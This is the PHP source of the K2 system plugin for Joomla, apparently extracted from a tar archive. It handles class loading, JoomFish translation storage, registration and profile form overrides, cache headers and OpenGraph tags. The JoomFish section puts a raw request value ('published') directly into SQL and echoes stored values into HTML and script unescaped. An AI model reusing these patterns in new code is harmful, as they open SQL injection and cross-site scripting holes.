        <filename plugin="k2">k2.php</filename>
    </files>
</extension>
                                                                                                                                                                                                       system/k2/k2.php                                                                                    0000705                 00000117547 15242051520 0007442 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    2.11 (rolling release)
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL: https://gnu.org/licenses/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

class plgSystemK2 extends JPlugin
{
    public function onAfterInitialise()
    {
        // Determine Joomla version
        if (version_compare(JVERSION, '3.0', 'ge')) {
            define('K2_JVERSION', '30');
        } elseif (version_compare(JVERSION, '2.5', 'ge')) {
            define('K2_JVERSION', '25');
        } else {
            define('K2_JVERSION', '15');
        }

        // Define K2 version & build here
        define('K2_CURRENT_VERSION', '2.11.20240911');

        // Define the DS constant (for backwards compatibility with old template overrides & 3rd party K2 extensions)
        if (!defined('DS')) {
            define('DS', DIRECTORY_SEPARATOR);
        }

        // Import Joomla classes
        jimport('joomla.filesystem.file');
        jimport('joomla.filesystem.folder');
        jimport('joomla.application.component.controller');
        jimport('joomla.application.component.model');
        jimport('joomla.application.component.view');

        // Get application & K2 component params
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $config = JFactory::getConfig();
        $params = JComponentHelper::getParams('com_k2');

        // Load the K2 classes
        JLoader::register('K2Table', JPATH_ADMINISTRATOR.'/components/com_k2/tables/table.php');
        JLoader::register('K2Controller', JPATH_BASE.'/components/com_k2/controllers/controller.php');
        JLoader::register('K2Model', JPATH_ADMINISTRATOR.'/components/com_k2/models/model.php');
        if ($app->isSite()) {
            K2Model::addIncludePath(JPATH_SITE.'/components/com_k2/models');
        } else {
            // Fix warning under Joomla 1.5 caused by conflict in model names
            if (K2_JVERSION != '15' || (K2_JVERSION == '15' && JRequest::getCmd('option') != 'com_users')) {
                K2Model::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/models');
            }
        }
        JLoader::register('K2View', JPATH_ADMINISTRATOR.'/components/com_k2/views/view.php');
        JLoader::register('K2HelperHTML', JPATH_ADMINISTRATOR.'/components/com_k2/helpers/html.php');
        JLoader::register('K2HelperUtilities', JPATH_SITE.'/components/com_k2/helpers/utilities.php');

        // Define JoomFish compatibility version.
        if (JFile::exists(JPATH_ADMINISTRATOR.'/components/com_joomfish/joomfish.php')) {
            if (K2_JVERSION == '15') {
                $db = JFactory::getDbo();
                $config = JFactory::getConfig();
                $prefix = $config->getValue('config.dbprefix');
                if (array_key_exists($prefix.'_jf_languages_ext', $db->getTableList())) {
                    define('K2_JF_ID', 'lang_id');
                } else {
                    define('K2_JF_ID', 'id');
                }
            } else {
                define('K2_JF_ID', 'lang_id');
            }
        }

        // Backend only
        if (!$app->isAdmin()) {
            return;
        }

        // K2 Metrics
        if ($app->isAdmin() && $params->get('gatherStatistics', 1)) {
            $option = JRequest::getCmd('option');
            $view = JRequest::getCmd('view');
            $viewsToRun = array('items', 'categories', 'tags', 'comments', 'users', 'usergroups', 'extrafields', 'extrafieldsgroups', '');
            if ($option == 'com_k2' && in_array($view, $viewsToRun)) {
                require_once(JPATH_ADMINISTRATOR.'/components/com_k2/helpers/stats.php');
                if (K2HelperStats::shouldLog()) {
                    K2HelperStats::getScripts();
                }
            }
        }

        // --- JoomFish integration [start] ---
        if ((int)K2_JVERSION < 25) {
            $option = JRequest::getCmd('option');
            $task = JRequest::getCmd('task');
            $type = JRequest::getCmd('catid');
        } else {
            $option = JFactory::getApplication()->input->get('option');
            $task = JFactory::getApplication()->input->get('task');
            $type = JRequest::getCmd('catid');
        }
        if ($option == 'com_joomfish') {
            JPlugin::loadLanguage('com_k2', JPATH_ADMINISTRATOR);
            JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');

            if (($task == 'translate.apply' || $task == 'translate.save') && $type == 'k2_items') {
                $language_id = JRequest::getInt('select_language_id');
                $reference_id = JRequest::getInt('reference_id');
                $objects = array();
                $variables = JRequest::get('post');

                foreach ($variables as $key => $value) {
                    if ((bool) stristr($key, 'K2ExtraField_')) {
                        $object = new stdClass();
                        $object->id = substr($key, 13);
                        $object->value = $value;
                        $objects[] = $object;
                    }
                }

                $extra_fields = json_encode($objects);
                $extra_fields_search = '';

                foreach ($objects as $object) {
                    $extra_fields_search .= $this->getSearchValue($object->id, $object->value);
                    $extra_fields_search .= ' ';
                }

                $user = JFactory::getUser();

                $db = JFactory::getDbo();
                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($extra_fields)." WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_items', 'extra_fields', ".$db->Quote($extra_fields).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }

                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'extra_fields_search' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($extra_fields_search)." WHERE reference_field = 'extra_fields_search' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_items', 'extra_fields_search', ".$db->Quote($extra_fields_search).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }
            }

            if (($task == 'translate.edit' || $task == 'translate.apply') && $type == 'k2_items') {
                if ($task == 'translate.edit') {
                    $cid = JRequest::getVar('cid');
                    $array = explode('|', $cid[0]);
                    $reference_id = $array[1];
                }

                if ($task == 'translate.apply') {
                    $reference_id = JRequest::getInt('reference_id');
                }

                $item = JTable::getInstance('K2Item', 'Table');
                $item->load($reference_id);
                $category_id = $item->catid;
                $language_id = JRequest::getInt('select_language_id');
                $category = JTable::getInstance('K2Category', 'Table');
                $category->load($category_id);
                $group = $category->extraFieldsGroup;
                $db = JFactory::getDbo();
                $query = "SELECT * FROM #__k2_extra_fields WHERE `group`=".$db->Quote($group)." AND published=1 ORDER BY ordering";
                $db->setQuery($query);
                $extraFields = $db->loadObjectList();

                $output = '';
                if (count($extraFields)) {
                    $output .= '<h1>'.JText::_('K2_EXTRA_FIELDS').'</h1>';
                    $output .= '<h2>'.JText::_('K2_ORIGINAL').'</h2>';
                    foreach ($extraFields as $extrafield) {
                        $extraField = json_decode($extrafield->value);
                        $output .= trim($this->renderOriginal($extrafield, $reference_id));
                    }
                }

                if (count($extraFields)) {
                    $output .= '<h2>'.JText::_('K2_TRANSLATION').'</h2>';
                    foreach ($extraFields as $extrafield) {
                        $extraField = json_decode($extrafield->value);
                        $output .= trim($this->renderTranslated($extrafield, $reference_id));
                    }
                }

                $pattern = '/\r\n|\r|\n/';

                // Load CSS & JS
                if (K2_JVERSION == '15') {
                    JHTML::_('behavior.mootools');
                } else {
                    JHTML::_('behavior.framework');
                }
                $document = JFactory::getDocument();
                $document->addScriptDeclaration("
                    window.addEvent('domready', function(){
                        var target = $$('table.adminform');
                        target.setProperty('id', 'adminform');
                        var div = new Element('div', {'id': 'K2ExtraFields'}).setHTML('".preg_replace($pattern, '', $output)."').injectInside($('adminform'));
                    });
                ");
            }

            if (($task == 'translate.apply' || $task == 'translate.save') && $type == 'k2_extra_fields') {
                $language_id = JRequest::getInt('select_language_id');
                $reference_id = JRequest::getInt('reference_id');
                $extraFieldType = JRequest::getVar('extraFieldType');

                $objects = array();
                $values = JRequest::getVar('option_value');
                $names = JRequest::getVar('option_name');
                $target = JRequest::getVar('option_target');

                for ($i = 0; $i < count($values); $i++) {
                    $object = new stdClass();
                    $object->name = $names[$i];

                    if ($extraFieldType == 'select' || $extraFieldType == 'multipleSelect' || $extraFieldType == 'radio') {
                        $object->value = $i + 1;
                    } elseif ($extraFieldType == 'link') {
                        if (substr($values[$i], 0, 4) == 'http') {
                            $values[$i] = $values[$i];
                        } else {
                            $values[$i] = 'http://'.$values[$i];
                        }
                        $object->value = $values[$i];
                    } else {
                        $object->value = $values[$i];
                    }

                    $object->target = $target[$i];
                    $objects[] = $object;
                }

                $value = json_encode($objects);

                $user = JFactory::getUser();

                $db = JFactory::getDbo();
                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($value)." WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_extra_fields', 'value', ".$db->Quote($value).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }
            }

            if (($task == 'translate.edit' || $task == 'translate.apply') && $type == 'k2_extra_fields') {
                if ($task == 'translate.edit') {
                    $cid = JRequest::getVar('cid');
                    $array = explode('|', $cid[0]);
                    $reference_id = $array[1];
                }

                if ($task == 'translate.apply') {
                    $reference_id = JRequest::getInt('reference_id');
                }

                $extraField = JTable::getInstance('K2ExtraField', 'Table');
                $extraField->load($reference_id);
                $language_id = JRequest::getInt('select_language_id');

                if ($extraField->type == 'multipleSelect' || $extraField->type == 'select' || $extraField->type == 'radio') {
                    $subheader = '<strong>'.JText::_('K2_OPTIONS').'</strong>';
                } else {
                    $subheader = '<strong>'.JText::_('K2_DEFAULT_VALUE').'</strong>';
                }

                $objects = json_decode($extraField->value);
                $output = '<input type="hidden" value="'.$extraField->type.'" name="extraFieldType" />';
                if (count($objects)) {
                    $output .= '<h1>'.JText::_('K2_EXTRA_FIELDS').'</h1>';
                    $output .= '<h2>'.JText::_('K2_ORIGINAL').'</h2>';
                    $output .= $subheader.'<br />';

                    foreach ($objects as $object) {
                        $output .= '<p>'.$object->name.'</p>';
                        if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                            $output .= '<p>'.$object->value.'</p>';
                        }
                    }
                }

                $db = JFactory::getDbo();
                $query = "SELECT `value` FROM #__jf_content WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                $db->setQuery($query);
                $result = $db->loadResult();

                $translatedObjects = json_decode($result);

                if (count($objects)) {
                    $output .= '<h2>'.JText::_('K2_TRANSLATION').'</h2>';
                    $output .= $subheader.'<br />';
                    foreach ($objects as $key => $value) {
                        if (isset($translatedObjects[$key])) {
                            $value = $translatedObjects[$key];
                        }

                        if ($extraField->type == 'textarea') {
                            $output .= '<p><textarea name="option_name[]" cols="30" rows="15"> '.$value->name.'</textarea></p>';
                        } else {
                            $output .= '<p><input type="text" name="option_name[]" value="'.$value->name.'" /></p>';
                        }
                        $output .= '<p><input type="hidden" name="option_value[]" value="'.$value->value.'" /></p>';
                        $output .= '<p><input type="hidden" name="option_target[]" value="'.$value->target.'" /></p>';
                    }
                }

                $pattern = '/\r\n|\r|\n/';

                // Load CSS & JS
                if (K2_JVERSION == '15') {
                    JHTML::_('behavior.mootools');
                } else {
                    JHtml::_('behavior.framework');
                }
                $document = JFactory::getDocument();
                $document->addScriptDeclaration("
                    window.addEvent('domready', function(){
                        var target = $$('table.adminform');
                        target.setProperty('id', 'adminform');
                        var div = new Element('div', {'id': 'K2ExtraFields'}).setHTML('".preg_replace($pattern, '', $output)."').injectInside($('adminform'));
                    });
                ");
            }
        }
        // --- JoomFish integration [finish] ---

        return;
    }

    public function onAfterRoute()
    {
        $app = JFactory::getApplication();
        $document = JFactory::getDocument();
        $user = JFactory::getUser();

        $params = JComponentHelper::getParams('com_k2');

        $basepath = ($app->isSite()) ? JPATH_SITE : JPATH_ADMINISTRATOR;
        JPlugin::loadLanguage('com_k2', $basepath);
        if (K2_JVERSION != '15') {
            JPlugin::loadLanguage('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
        }

        if ($app->isAdmin() || (JRequest::getCmd('option') == 'com_k2' && (JRequest::getCmd('task') == 'add' || JRequest::getCmd('task') == 'edit'))) {
            return;
        }

        // Load required CSS & JS
        K2HelperHTML::loadHeadIncludes();
    }

    public function onAfterDispatch()
    {
        $app = JFactory::getApplication();

        if ($app->isAdmin()) {
            return;
        }

        $params = JComponentHelper::getParams('com_k2');
        if (!$params->get('K2UserProfile')) {
            return;
        }

        $document = JFactory::getDocument();

        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');
        $task = JRequest::getCmd('task');
        $layout = JRequest::getCmd('layout');
        $user = JFactory::getUser();

        // Import plugins
        JPluginHelper::importPlugin('k2');
        $dispatcher = JDispatcher::getInstance();

        if (K2_JVERSION != '15') {
            $active = JFactory::getApplication()->getMenu()->getActive();
            if (isset($active->query['layout'])) {
                $layout = $active->query['layout'];
            }
        }

        // B/C code for reCAPTCHA
        $params->set('recaptchaV2', true);

        // Extend user forms with K2 fields
        if (($option == 'com_user' && $view == 'register') || ($option == 'com_users' && $view == 'registration')) {
            if ($params->get('recaptchaOnRegistration') && $params->get('recaptcha_public_key')) {
                if (K2_JVERSION != '30') {
                    if (JPluginHelper::isEnabled('system', mtupgrade) !== false) {
                        $document->addScript(JURI::root(true).'/media/k2/assets/js/k2.rc.patch.js?v='.K2_CURRENT_VERSION.'&b='.K2_BUILD_ID);
                    }
                }
                $document->addScript('https://www.google.com/recaptcha/api.js?onload=onK2RecaptchaLoaded&render=explicit');
                $document->addScriptDeclaration('
                function onK2RecaptchaLoaded() {
                    grecaptcha.render("recaptcha", {
                        "sitekey": "'.$params->get('recaptcha_public_key').'",
                        "theme": "'.$params->get('recaptcha_theme', 'light').'"
                    });
                }
                ');
                $recaptchaClass = 'k2-recaptcha-v2';
            }

            if (!$user->guest) {
                $app->enqueueMessage(JText::_('K2_YOU_ARE_ALREADY_REGISTERED_AS_A_MEMBER'), 'notice');
                $app->redirect(JURI::root());
                $app->close();
            }
            if (K2_JVERSION != '15') {
                require_once(JPATH_SITE.'/components/com_users/controller.php');
                $controller = new UsersController();
            } else {
                require_once(JPATH_SITE.'/components/com_user/controller.php');
                $controller = new UserController();
            }

            $view = $controller->getView($view, 'html');
            $view->addTemplatePath(JPATH_SITE.'/components/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$app->getTemplate().'/html/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$app->getTemplate().'/html/com_k2');
            // Allow temporary template loading with ?template=
            $template = JRequest::getCmd('template');
            if (isset($template)) {
                $view->addTemplatePath(JPATH_SITE.'/templates/'.$template.'/html/com_k2');
            }

            $view->setLayout('register');

            $K2User = new stdClass();

            $K2User->description = '';
            $K2User->gender = 'n';
            $K2User->image = '';
            $K2User->url = '';
            $K2User->plugins = '';

            if ($params->get('K2ProfileEditor')) {
                $wysiwyg = JFactory::getEditor();
                $editor = $wysiwyg->display('description', $K2User->description, '100%', '250px', '', '', false);
            } else {
                $editor = '<textarea id="description" class="k2-plain-text-editor" name="description"></textarea>';
            }
            $view->assignRef('editor', $editor);

            $lists = array();
            $genderOptions[] = JHTML::_('select.option', 'n', JText::_('K2_NOT_SPECIFIED'));
            $genderOptions[] = JHTML::_('select.option', 'm', JText::_('K2_MALE'));
            $genderOptions[] = JHTML::_('select.option', 'f', JText::_('K2_FEMALE'));
            $lists['gender'] = JHTML::_('select.radiolist', $genderOptions, 'gender', '', 'value', 'text', $K2User->gender);

            $view->assignRef('lists', $lists);
            $view->assignRef('K2Params', $params);
            $view->assignRef('recaptchaClass', $recaptchaClass);

            $K2Plugins = $dispatcher->trigger('onRenderAdminForm', array(
                &$K2User,
                'user'
            ));
            $view->assignRef('K2Plugins', $K2Plugins);

            $view->assignRef('K2User', $K2User);
            if (K2_JVERSION != '15') {
                $view->assignRef('user', $user);
            }
            $pathway = $app->getPathway();
            $pathway->setPathway(null);

            $nameFieldName = K2_JVERSION != '15' ? 'jform[name]' : 'name';
            $view->assignRef('nameFieldName', $nameFieldName);
            $usernameFieldName = K2_JVERSION != '15' ? 'jform[username]' : 'username';
            $view->assignRef('usernameFieldName', $usernameFieldName);
            $emailFieldName = K2_JVERSION != '15' ? 'jform[email1]' : 'email';
            $view->assignRef('emailFieldName', $emailFieldName);
            $passwordFieldName = K2_JVERSION != '15' ? 'jform[password1]' : 'password';
            $view->assignRef('passwordFieldName', $passwordFieldName);
            $passwordVerifyFieldName = K2_JVERSION != '15' ? 'jform[password2]' : 'password2';
            $view->assignRef('passwordVerifyFieldName', $passwordVerifyFieldName);
            $optionValue = K2_JVERSION != '15' ? 'com_users' : 'com_user';
            $view->assignRef('optionValue', $optionValue);
            $taskValue = K2_JVERSION != '15' ? 'registration.register' : 'register_save';
            $view->assignRef('taskValue', $taskValue);
            ob_start();
            $view->display();
            $contents = ob_get_clean();
            $document->setBuffer($contents, 'component');
        }

        if (($option == 'com_user' && $view == 'user' && ($task == 'edit' || $layout == 'form')) || ($option == 'com_users' && $view == 'profile' && ($layout == 'edit' || $task == 'profile.edit'))) {
            if ($user->guest) {
                $uri = JFactory::getURI();

                if (K2_JVERSION != '15') {
                    $url = 'index.php?option=com_users&view=login&return='.base64_encode($uri->toString());
                } else {
                    $url = 'index.php?option=com_user&view=login&return='.base64_encode($uri->toString());
                }
                $app->enqueueMessage(JText::_('K2_YOU_NEED_TO_LOGIN_FIRST'), 'notice');
                $app->redirect(JRoute::_($url, false));
            }

            if (K2_JVERSION != '15') {
                require_once(JPATH_SITE.'/components/com_users/controller.php');
                $controller = new UsersController();
            } else {
                require_once(JPATH_SITE.'/components/com_user/controller.php');
                $controller = new UserController();
            }

            $view = $controller->getView($view, 'html');
            $view->addTemplatePath(JPATH_SITE.'/components/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$app->getTemplate().'/html/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$app->getTemplate().'/html/com_k2');
            // Allow temporary template loading with ?template=
            $template = JRequest::getCmd('template');
            if (isset($template)) {
                $view->addTemplatePath(JPATH_SITE.'/templates/'.$template.'/html/com_k2');
            }

            $view->setLayout('profile');

            $model = K2Model::getInstance('Itemlist', 'K2Model');
            $K2User = $model->getUserProfile($user->id);
            if (!is_object($K2User)) {
                $K2User = new stdClass();
                $K2User->description = '';
                $K2User->gender = 'n';
                $K2User->url = '';
                $K2User->image = null;
            }
            if (K2_JVERSION == '15') {
                JFilterOutput::objectHTMLSafe($K2User);
            } else {
                JFilterOutput::objectHTMLSafe($K2User, ENT_QUOTES, array(
                    'params',
                    'plugins'
                ));
            }

            if ($params->get('K2ProfileEditor')) {
                $wysiwyg = JFactory::getEditor();
                $editor = $wysiwyg->display('description', $K2User->description, '100%', '250px', '', '', false);
            } else {
                $editor = '<textarea id="description" class="k2-plain-text-editor" name="description"></textarea>';
            }
            $view->assignRef('editor', $editor);

            $lists = array();
            $genderOptions[] = JHTML::_('select.option', 'n', JText::_('K2_NOT_SPECIFIED'));
            $genderOptions[] = JHTML::_('select.option', 'm', JText::_('K2_MALE'));
            $genderOptions[] = JHTML::_('select.option', 'f', JText::_('K2_FEMALE'));
            $lists['gender'] = JHTML::_('select.radiolist', $genderOptions, 'gender', '', 'value', 'text', $K2User->gender);

            $view->assignRef('lists', $lists);

            $K2Plugins = $dispatcher->trigger('onRenderAdminForm', array(
                &$K2User,
                'user'
            ));
            $view->assignRef('K2Plugins', $K2Plugins);

            $view->assignRef('K2User', $K2User);
            $view->assignRef('K2Params', $params);

            // Asssign some variables depending on Joomla version
            $nameFieldName = K2_JVERSION != '15' ? 'jform[name]' : 'name';
            $view->assignRef('nameFieldName', $nameFieldName);
            $emailFieldName = K2_JVERSION != '15' ? 'jform[email1]' : 'email';
            $view->assignRef('emailFieldName', $emailFieldName);
            $passwordFieldName = K2_JVERSION != '15' ? 'jform[password1]' : 'password';
            $view->assignRef('passwordFieldName', $passwordFieldName);
            $passwordVerifyFieldName = K2_JVERSION != '15' ? 'jform[password2]' : 'password2';
            $view->assignRef('passwordVerifyFieldName', $passwordVerifyFieldName);
            $usernameFieldName = K2_JVERSION != '15' ? 'jform[username]' : 'username';
            $view->assignRef('usernameFieldName', $usernameFieldName);
            $idFieldName = K2_JVERSION != '15' ? 'jform[id]' : 'id';
            $view->assignRef('idFieldName', $idFieldName);
            $optionValue = K2_JVERSION != '15' ? 'com_users' : 'com_user';
            $view->assignRef('optionValue', $optionValue);
            $taskValue = K2_JVERSION != '15' ? 'profile.save' : 'save';
            $view->assignRef('taskValue', $taskValue);

            ob_start();
            if (K2_JVERSION != '15') {
                $active = JFactory::getApplication()->getMenu()->getActive();
                if (isset($active->query['layout']) && $active->query['layout'] != 'profile') {
                    $active->query['layout'] = 'profile';
                }
                $view->assignRef('user', $user);
                $view->display();
            } else {
                $view->_displayForm();
            }
            $contents = ob_get_clean();
            $document->setBuffer($contents, 'component');
        }
    }

    public function onAfterRender()
    {
        $app = JFactory::getApplication();

        if ($app->isSite()) {
            $config = JFactory::getConfig();
            $document = JFactory::getDocument();
            $user = JFactory::getUser();
            $params = JComponentHelper::getParams('com_k2');
            $response = JResponse::getBody();

            // Use proper headers for JSON/JSONP
            if (JRequest::getCmd('format') == 'json') {
                if (K2_JVERSION == '15') {
                    $document->setMimeEncoding('application/json');
                    $document->setType('json');
                }

                if (JRequest::getCmd('callback')) {
                    $document->setMimeEncoding('application/javascript');
                }
            }

            // Check caching state in Joomla
            $cacheTime = 0;
            if (K2_JVERSION == '15') {
                $caching = $config->getValue('config.caching');
                $cacheTime = $config->getValue('config.cachetime');
            } else {
                $caching = $config->get('caching');
                $cacheTime = $config->get('cachetime');
            }
            $cacheTTL = $cacheTime * 60;

            // Set caching HTTP headers
            if ($user->guest) {
                if ($caching) {
                    JResponse::allowCache(true);
                    JResponse::setHeader('Cache-Control', 'public, max-age='.$cacheTTL.', stale-while-revalidate='.($cacheTTL*2).', stale-if-error='.($cacheTTL*5), true);
                    JResponse::setHeader('Expires', gmdate('D, d M Y H:i:s', time()+$cacheTTL).' GMT', true);
                    JResponse::setHeader('Pragma', 'public', true);
                }
                JResponse::setHeader('X-Logged-In', 'False', true);
            } else {
                JResponse::setHeader('X-Logged-In', 'True', true);
            }
            JResponse::setHeader('X-Content-Powered-By', 'K2 v'.K2_CURRENT_VERSION.' (by JoomlaWorks)', true);

            // Set additional caching HTTP headers defined as custom script tag in the <head>
            if ($caching) {
                preg_match("#<script type=\"application/x\-k2\-headers\">(.*?)</script>#is", $response, $getK2CacheHeaders);
                if (is_array($getK2CacheHeaders) && !empty($getK2CacheHeaders[1])) {
                    $getK2CacheHeaders = json_decode(trim($getK2CacheHeaders[1]));
                    if (is_object($getK2CacheHeaders)) {
                        JResponse::allowCache(true);
                        foreach ($getK2CacheHeaders as $type => $value) {
                            JResponse::setHeader($type, $value, true);
                        }
                    }
                }
            }

            // OpenGraph meta tags
            if ($params->get('facebookMetatags', 1)) {
                $searches = array(
                    '<meta name="og:url"',
                    '<meta name="og:title"',
                    '<meta name="og:type"',
                    '<meta name="og:image"',
                    '<meta name="og:description"'
                );
                $replacements = array(
                    '<meta property="og:url"',
                    '<meta property="og:title"',
                    '<meta property="og:type"',
                    '<meta property="og:image"',
                    '<meta property="og:description"'
                );
                if (strpos($response, 'http://ogp.me/ns#') === false) {
                    $searches[] = '<html ';
                    $searches[] = '<html>';
                    $replacements[] = '<html prefix="og: http://ogp.me/ns#" ';
                    $replacements[] = '<html prefix="og: http://ogp.me/ns#">';
                }
                $response = str_ireplace($searches, $replacements, $response);
                JResponse::setBody($response);
            }
        }
    }



    /* ============================================ */
    /* ============= Helper Functions ============= */
    /* ============================================ */

    public function getSearchValue($id, $currentValue)
    {
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $row = JTable::getInstance('K2ExtraField', 'Table');
        $row->load($id);
        $jsonObject = json_decode($row->value);
        $value = '';
        if ($row->type == 'textfield' || $row->type == 'textarea') {
            $value = $currentValue;
        } elseif ($row->type == 'multipleSelect' || $row->type == 'link') {
            foreach ($jsonObject as $option) {
                if (@in_array($option->value, $currentValue)) {
                    $value .= $option->name.' ';
                }
            }
        } else {
            foreach ($jsonObject as $option) {
                if ($option->value == $currentValue) {
                    $value .= $option->name;
                }
            }
        }
        return $value;
    }

    public function renderOriginal($extraField, $itemID)
    {
        $app = JFactory::getApplication();
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $item = JTable::getInstance('K2Item', 'Table');
        $item->load($itemID);

        $defaultValues = json_decode($extraField->value);

        foreach ($defaultValues as $value) {
            if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                $active = $value->value;
            } elseif ($extraField->type == 'link') {
                $active[0] = $value->name;
                $active[1] = $value->value;
                $active[2] = $value->target;
            } else {
                $active = '';
            }
        }

        if (isset($item)) {
            $currentValues = json_decode($item->extra_fields);
            if (count($currentValues)) {
                foreach ($currentValues as $value) {
                    if ($value->id == $extraField->id) {
                        $active = $value->value;
                    }
                }
            }
        }

        $output = '';

        switch ($extraField->type) {
            case 'textfield':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" disabled="disabled" name="OriginalK2ExtraField_'.$extraField->id.'" value="'.$active.'" /></div><br /><br />';
                break;

            case 'textarea':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><textarea disabled="disabled" name="OriginalK2ExtraField_'.$extraField->id.'" rows="10" cols="40">'.$active.'</textarea></div><br /><br />';
                break;

            case 'link':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input disabled="disabled" type="text" name="OriginalK2ExtraField_'.$extraField->id.'[]" value="'.$active[0].'" /></div><br /><br />';
                break;
        }

        return $output;
    }

    public function renderTranslated($extraField, $itemID)
    {
        $app = JFactory::getApplication();
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $item = JTable::getInstance('K2Item', 'Table');
        $item->load($itemID);

        $defaultValues = json_decode($extraField->value);

        foreach ($defaultValues as $value) {
            if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                $active = $value->value;
            } elseif ($extraField->type == 'link') {
                $active[0] = $value->name;
                $active[1] = $value->value;
                $active[2] = $value->target;
            } else {
                $active = '';
            }
        }

        if (isset($item)) {
            $currentValues = json_decode($item->extra_fields);
            if (count($currentValues)) {
                foreach ($currentValues as $value) {
                    if ($value->id == $extraField->id) {
                        $active = $value->value;
                    }
                }
            }
        }

        $language_id = JRequest::getInt('select_language_id');
        $db = JFactory::getDbo();
        $query = "SELECT `value` FROM #__jf_content WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$itemID} AND reference_table='k2_items'";
        $db->setQuery($query);
        $result = $db->loadResult();
        $currentValues = json_decode($result);
        if (count($currentValues)) {
            foreach ($currentValues as $value) {
                if ($value->id == $extraField->id) {
                    $active = $value->value;
                }
            }
        }

        $output = '';

        switch ($extraField->type) {
            case 'textfield':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" name="K2ExtraField_'.$extraField->id.'" value="'.$active.'" /></div><br /><br />';
                break;

            case 'textarea':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><textarea name="K2ExtraField_'.$extraField->id.'" rows="10" cols="40">'.$active.'</textarea></div><br /><br />';
                break;

            case 'select':
                $output = '<div style="display:none;">'.JHTML::_('select.genericlist', $defaultValues, 'K2ExtraField_'.$extraField->id, '', 'value', 'name', $active).'</div>';
                break;

            case 'multipleSelect':
                $output = '<div style="display:none;">'.JHTML::_('select.genericlist', $defaultValues, 'K2ExtraField_'.$extraField->id.'[]', 'multiple="multiple"', 'value', 'name', $active).'</div>';
                break;

            case 'radio':
                $output = '<div style="display:none;">'.JHTML::_('select.radiolist', $defaultValues, 'K2ExtraField_'.$extraField->id, '', 'value', 'name', $active).'</div>';
                break;

            case 'link':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[0].'" /><br /><input type="hidden" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[1].'" /><br /><input type="hidden" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[2].'" /></div><br /><br />';
                break;
        }

        return $output;
    }
}
